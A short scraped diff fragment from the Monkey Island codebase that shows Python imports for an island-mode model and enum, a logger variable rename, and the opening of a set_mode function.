from monkey_island.cc.models.island_mode_model import IslandMode
|
||||
from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def set_mode(mode: IslandModeEnum):
|
||||
|
|
Loading…
Reference in New Issue